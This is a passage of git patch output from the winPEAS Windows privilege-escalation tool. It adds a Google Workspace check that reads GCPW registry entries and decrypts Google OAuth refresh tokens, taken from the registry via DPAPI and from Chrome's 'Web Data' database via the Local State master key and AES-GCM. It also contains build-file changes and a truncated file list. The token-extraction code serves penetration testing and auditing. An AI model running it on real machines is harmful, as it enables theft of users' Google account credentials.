+ + +
    + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs index bf1dc37..fa24631 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs @@ -14,7 +14,8 @@ namespace winPEAS.Checks { new AWSInfo(), new AzureInfo(), - new GCPInfo() + new GCPInfo(), + new GCPJoinedInfo() }; foreach (var cloudInfo in cloudInfoList) diff --git a/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs new file mode 100644 index 0000000..a212c08 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs @@ -0,0 +1,327 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using winPEAS.Helpers; +using Newtonsoft.Json; +using System.Data.SQLite; +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Parameters; +using Org.BouncyCastle.Crypto.Modes; +using System.Linq; +using Microsoft.Win32; + + +namespace winPEAS.Info.CloudInfo +{ + internal class GCPJoinedInfo : CloudInfoBase + { + public override string Name => "Google Workspace Joined"; + + public override bool IsCloud => CheckIfGCPWUsers(); + + private Dictionary> _endpointData = null; + + private List GetWorkspaceRegValues() + { + Dictionary workspaceRegValues = new Dictionary(); + workspaceRegValues.Add("Domains Allowed", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW", @"domains_allowed_to_login")); + + // Get all values from all subregistries of Users + string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users"); + for (int i = 0; i < users.Length; i++) + { + workspaceRegValues.Add($"HKLM Workspace user{i}", users[i]); + workspaceRegValues.Add($" Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"email")); + workspaceRegValues.Add($" Domain{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"domain")); + workspaceRegValues.Add($" Id{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"id")); + workspaceRegValues.Add($" Pic{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"pic")); + workspaceRegValues.Add($" User Name{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"user_name")); + workspaceRegValues.Add($" Last Policy Refresh Time{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_policy_refresh_time")); + workspaceRegValues.Add($" Last Token Valid Millis{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_token_valid_millis")); + } + + string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys("HCKU", @"SOFTWARE\Google\Accounts"); + if (users3.Length > 0) + { + workspaceRegValues.Add($"HKU Workspace user", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + } + + for (int i = 0; i < users3.Length; i++) + { + workspaceRegValues.Add($" HKU-Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HCKU", @"SOFTWARE\Google\Accounts\"+ users3[i], @"email")); + string refreshTokenPath = @"HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\" + users3[i]; + byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @"refresh_token", null); + if (refreshTokenB.Length > 0) + { + string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath); + if (refreshTokenDecrypted.Length > 0) + workspaceRegValues.Add($" HKU-Refresh Token{i}", refreshTokenDecrypted); + } + } + + // Get cloud management tokens + workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken")); + workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken")); + + // Format the info in expected CloudInfo format + List _endpointDataList = new List(); + + foreach (var kvp in workspaceRegValues) + { + _endpointDataList.Add(new EndpointData() + { + EndpointName = kvp.Key, + Data = kvp.Value?.Trim(), + IsAttackVector = false + }); + } + + return _endpointDataList; + } + + static string DecryptRegRefreshToken(string registryPath) + { + // Define the registry path where the refresh token is stored + string valueName = "refresh_token"; + + // Retrieve the encrypted refresh token from the registry + byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null); + + if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0) + { + Console.WriteLine("No encrypted refresh token found in the registry."); + return ""; + } + + try + { + // Decrypt the refresh token using CryptUnprotectData + byte[] decryptedTokenBytes = ProtectedData.Unprotect( + encryptedRefreshToken, + null, // No additional entropy + DataProtectionScope.CurrentUser // Use the current user's scope + ); + + // Convert the decrypted token to an ASCII string + string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes); + return refreshToken; + } + catch (Exception ex) + { + Console.WriteLine("Error decrypting the refresh token: " + ex.Message); + } + return ""; + } + + public static bool CheckIfGCPWUsers() + { + string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users"); + return check != null && check.Length > 0; + } + + public override Dictionary> EndpointDataList() + { + if (_endpointData == null) + { + _endpointData = new Dictionary>(); + + try + { + if (IsAvailable) + { + _endpointData.Add("Local Info", GetWorkspaceRegValues()); + _endpointData.Add("Local Refresh Tokens", GetRefreshToken()); + } + else + { + _endpointData.Add("General Info", new List() + { + new EndpointData() + { + EndpointName = "", + Data = null, + IsAttackVector = false + } + }); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + return _endpointData; + } + + static List GetRefreshToken() + { + string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State"; + string masterKey = GetMasterKey(chromeLocalStatePath); + + string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Defaul*"); + string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Profile*"); + string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray(); + string[] refreshTokens = new string[0]; + + foreach (string profilePath in chromeAllProfilePaths) + { + string webDataPath = Path.Combine(profilePath, "Web Data"); + + if (File.Exists(webDataPath)) + { + refreshTokens = ExtractRefreshTokens(webDataPath, masterKey); + } + } + + List _endpointDataList = new List(); + + for (int i = 0; i < refreshTokens.Length; i++) + { + _endpointDataList.Add(new EndpointData() + { + EndpointName = $"Token{i}" , + Data = refreshTokens[i].Trim(), + IsAttackVector = true + }); + } + + return _endpointDataList; + } + + private static string GetMasterKey(string localStatePath) + { + string localStateJson = File.ReadAllText(localStatePath); + dynamic json = JsonConvert.DeserializeObject(localStateJson); + string encryptedKeyBase64 = json.os_crypt.encrypted_key; + + byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64); + byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5]; + Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5); + + byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser); + return Convert.ToBase64String(masterKey); + } + + private static string[] ExtractRefreshTokens(string webDataPath, string masterKey) + { + List refreshTokens = new List(); + try + { + using (SQLiteConnection connection = new SQLiteConnection($"Data Source={webDataPath};Version=3;")) + { + connection.Open(); + string query = "SELECT service, encrypted_token FROM token_service;"; + + using (SQLiteCommand command = new SQLiteCommand(query, connection)) + using (SQLiteDataReader reader = command.ExecuteReader()) + { + while (reader.Read()) + { + string service = reader["service"].ToString(); + + // Check if encrypted_token is null or empty + if (reader["encrypted_token"] == DBNull.Value) + { + Console.WriteLine("The encrypted_token is NULL in the database."); + continue; + } + byte[] encryptedToken = (byte[])reader["encrypted_token"]; + + string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey)); + refreshTokens.Add(decryptedToken); + } + } + } + return refreshTokens.ToArray(); + } + catch (Exception ex) + { + Console.WriteLine("Error extracting refresh tokens (If Chrome is running the DB is probably locked): " + ex.Message); + return refreshTokens.ToArray(); + } + } + public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key) + { + // Constants + int nonceLength = 12; // GCM standard nonce length + int macLength = 16; // GCM authentication mac length + string versionPrefix = "v10"; // Matching kEncryptionVersionPrefix + + // Convert prefix to byte array + byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix); + + // Check the prefix + if (ciphertext.Length < versionPrefixBytes.Length || + !IsPrefixMatch(ciphertext, versionPrefixBytes)) + { + throw new ArgumentException("Invalid encryption version prefix."); + } + + // Extract the nonce from the ciphertext (after the prefix) + byte[] nonce = new byte[nonceLength]; + Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength); + + // Extract the actual encrypted data (after the prefix and nonce) + int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength; + byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex]; + Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length); + + // Split the mac and actual ciphertext + byte[] mac = new byte[macLength]; + Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength); + + byte[] actualCiphertext = new byte[encryptedData.Length - macLength]; + Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length); + + // Perform the decryption using Bouncy Castle + try + { + GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine()); + AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce); + gcm.Init(true, parameters); + + byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)]; + int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0); + string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len); + gcm.DoFinal(plaintext, len); + + return plaintextString; + } + catch (InvalidCipherTextException ex) + { + throw new CryptographicException("Decryption failed due to MAC mismatch", ex); + } + } + + private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes) + { + for (int i = 0; i < versionPrefixBytes.Length; i++) + { + if (ciphertext[i] != versionPrefixBytes[i]) + return false; + } + return true; + } + + private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) + { + using (MemoryStream ms = new MemoryStream()) + { + using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) + { + cryptoStream.Write(data, 0, data.Length); + cryptoStream.FlushFinalBlock(); + return ms.ToArray(); + } + } + } + + public override bool TestConnection() + { + return true; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/packages.config b/winPEAS/winPEASexe/winPEAS/packages.config index 168249c..57f88ef 100644 --- a/winPEAS/winPEASexe/winPEAS/packages.config +++ b/winPEAS/winPEASexe/winPEAS/packages.config @@ -1,4 +1,16 @@  + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj index 19a037c..16d92d5 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -1,5 +1,6 @@  + Debug @@ -8,7 +9,7 @@ Exe winPEAS winPEAS - v4.5.2 + v4.8 512 true @@ -114,12 +115,55 @@ + + ..\packages\Portable.BouncyCastle.1.9.0\lib\net40\BouncyCastle.Crypto.dll + + + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.dll + + + ..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll + + + ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll + + + + + ..\packages\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\lib\net451\System.Data.SQLite.dll + + + ..\packages\System.Data.SQLite.EF6.1.0.119.0\lib\net451\System.Data.SQLite.EF6.dll + + + ..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll + + + ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll + True + True + + + ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll + True + True + + + ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll + True + True + + + ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll + True + True + @@ -1043,6 +1087,7 @@ + @@ -1341,4 +1386,14 @@ + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user index faa7a28..8b0bbb2 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user @@ -5,7 +5,7 @@ - cloudinfo -network="auto" -ports="21,22,445" + cloudinfo debug From f80c1f371ead7daaa208516875e7e51ac57bd1fd Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 1 Oct 2024 03:41:07 +0100 Subject: [PATCH 61/69] gcpw --- winPEAS/winPEASexe/Tests/App.config | 24 ++ winPEAS/winPEASexe/Tests/packages.config | 1 - winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj | 3 - winPEAS/winPEASexe/UpgradeLog.htm | 268 ++++++++++++++++++ .../winPEAS/.vs/winPEAS.csproj.dtbcache.json | 2 +- winPEAS/winPEASexe/winPEAS/App.config | 6 + winPEAS/winPEASexe/winPEAS/FodyWeavers.xml | 12 +- winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd | 30 ++ .../winPEAS/Info/CloudInfo/GWorkspaceInfo.cs | 7 +- .../winPEAS/costura32/SQLite.Interop.dll | Bin 0 -> 1632952 bytes .../winPEAS/costura64/SQLite.Interop.dll | Bin 0 -> 1987256 bytes winPEAS/winPEASexe/winPEAS/packages.config | 53 +++- winPEAS/winPEASexe/winPEAS/winPEAS.csproj | 151 +++++++++- 13 files changed, 543 insertions(+), 14 deletions(-) create mode 100644 winPEAS/winPEASexe/UpgradeLog.htm create mode 100644 winPEAS/winPEASexe/winPEAS/costura32/SQLite.Interop.dll create mode 100644 winPEAS/winPEASexe/winPEAS/costura64/SQLite.Interop.dll diff --git a/winPEAS/winPEASexe/Tests/App.config b/winPEAS/winPEASexe/Tests/App.config index b041af8..9acd6ec 100644 --- a/winPEAS/winPEASexe/Tests/App.config +++ b/winPEAS/winPEASexe/Tests/App.config @@ -25,6 +25,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/Tests/packages.config b/winPEAS/winPEASexe/Tests/packages.config index edbbe48..220e9ba 100644 --- a/winPEAS/winPEASexe/Tests/packages.config +++ b/winPEAS/winPEASexe/Tests/packages.config @@ -5,7 +5,6 @@ - diff --git a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj index 1f50cae..b7cfe80 100644 --- a/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj +++ b/winPEAS/winPEASexe/Tests/winPEAS.Tests.csproj @@ -60,9 +60,6 @@ ..\packages\MSTest.TestFramework.2.2.5\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll - - ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll - diff --git a/winPEAS/winPEASexe/UpgradeLog.htm b/winPEAS/winPEASexe/UpgradeLog.htm new file mode 100644 index 0000000..809e97a --- /dev/null +++ b/winPEAS/winPEASexe/UpgradeLog.htm @@ -0,0 +1,268 @@ + + + + Migration Report +

    + Migration Report -

    Overview

    ProjectPathErrorsWarningsMessages
    winPEASwinPEAS\winPEAS.csproj100

    Solution and projects

    \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json index 42a8be3..0cf50fc 100644 --- a/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json +++ b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json @@ -1 +1 @@ -{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS","ProjectFileName":"winPEAS.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"3rdParty\\AlphaFS\\Device\\ChangeErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Device.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DeviceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DiskSpaceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DriveInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DefineDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DiskFreeSpace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DriveType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumeMountPoints.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumePathNames.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveNameForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetUniqueVolumeNameForPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuidForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumePathName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsReady.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsSameVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.QueryDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.SetVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.VolumeLabel.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\VolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\ByHandleFileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveProgressRoutine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyFolderTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.ValidateMoveAction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CompressDecompressCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteEmptySubdirectoriesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnableDisableEncryptionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EncryptDecryptDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileIdBothDirectoryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileSystemEntryInfosCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.ExistsJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetDirectoryRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetParentCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetPropertiesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.IsEmptyCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ExportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ImportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory 